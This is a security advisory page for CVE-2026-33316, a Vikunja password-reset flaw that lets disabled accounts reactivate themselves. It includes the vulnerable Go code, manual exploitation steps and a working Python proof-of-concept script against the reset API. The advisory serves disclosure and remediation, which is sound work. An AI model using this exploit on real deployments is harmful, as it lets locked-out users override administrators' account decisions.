CVE-2026-33316

HIGH
2026-03-20 https://github.com/go-vikunja/vikunja GHSA-vq4q-79hh-q767
8.1
CVSS 3.1
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CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Analysis Generated
Mar 20, 2026 - 17:30 vuln.today
Patch Released
Mar 20, 2026 - 17:30 nvd
Patch available
CVE Published
Mar 20, 2026 - 17:25 nvd
HIGH 8.1

Description

### Summary A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement. #### Vulnerable Code Snippet In `pkg/user/user_password_reset.go`, beginning at line 66: ```go // Hash the password user.Password, err = HashPassword(reset.NewPassword) if err != nil { return } err = removeTokens(s, user, TokenPasswordReset) if err != nil { return } user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active _, err = s. Cols("password", "status"). Where("id = ?", user.ID). Update(user) if err != nil { return } ``` The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the `StatusDisabled` state by an administrator. Additionally, in the token request function (`RequestUserPasswordResetTokenByEmail`), the system fetches the user via `GetUserWithEmail()` which does **not** filter out disabled users, allowing them to legally request the token in the first place. ### PoC (Proof of Concept) #### Manual Exploitation Steps 1. Create a standard user account in Vikunja. 2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (`status = 2`). 3. Attempt to log in as the disabled user to verify access is blocked (receives `HTTP 412: This account is disabled`). 4. Without authenticating, send a `POST` request to `/api/v1/user/password/token` with the disabled user's email address. 5. Retrieve the password reset token from the incoming email. 6. Send a `POST` request to `/api/v1/user/password/reset` with the token and a new password. 7. Log in using the new password. Observe that the login succeeds (`HTTP 200`) and the account has been maliciously reactivated. #### Automation PoC ```python import requests import psycopg2 import time import secrets API_URL = "http://localhost:3456/api/v1" def main(): username = f"testuser_{secrets.token_hex(4)}" email = f"{username}@example.com" password = "SuperSecretPassword123!" print("[1] Registering user...") requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password}) print("[2] Admin disables account (Status = 2)...") conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password") cursor = conn.cursor() cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,)) conn.commit() print("[3] Verifying login is blocked...") res = requests.post(f"{API_URL}/login", json={"username": username, "password": password}) print(f"Login response: {res.status_code} (Should be 412)") print("[4] Attacker requests password reset...") requests.post(f"{API_URL}/user/password/token", json={"email": email}) print("[5] Attacker grabs token from email/DB...") cursor.execute("SELECT id FROM users WHERE username = %s;", (username,)) user_id = cursor.fetchone()[0] cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,)) token = cursor.fetchone()[0] print("[6] Attacker submits reset, triggering bug...") new_password = "HackedPassword123!" requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password}) print("[7] Attacker logs in successfully!") res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password}) print(f"Final Login response: {res.status_code} (Should be 200)") cursor.execute("SELECT status FROM users WHERE username = %s;", (username,)) print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)") conn.close() if __name__ == "__main__": main() ``` ### Impact * **Authentication & Authorization Bypass:** An attacker can unilaterally reverse an administrative security decision. * **Integrity & Confidentiality Impact:** The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.

Analysis

Vikunja task management application contains an authentication bypass vulnerability in its password reset logic that allows disabled user accounts to be reactivated without authorization. The ResetPassword() function unconditionally sets user status to 'Active' after password reset completion, enabling disabled users to regain full access by requesting a password reset token and completing the reset process. …

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Remediation

Within 24 hours: Inventory all Vikunja deployments and assess whether disabled accounts exist in production environments; notify relevant stakeholders of exposure. Within 7 days: Apply the available vendor patch to all affected Vikunja instances and validate successful deployment. …

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Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +40
POC: 0

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CVE-2026-33316 vulnerability details – vuln.today

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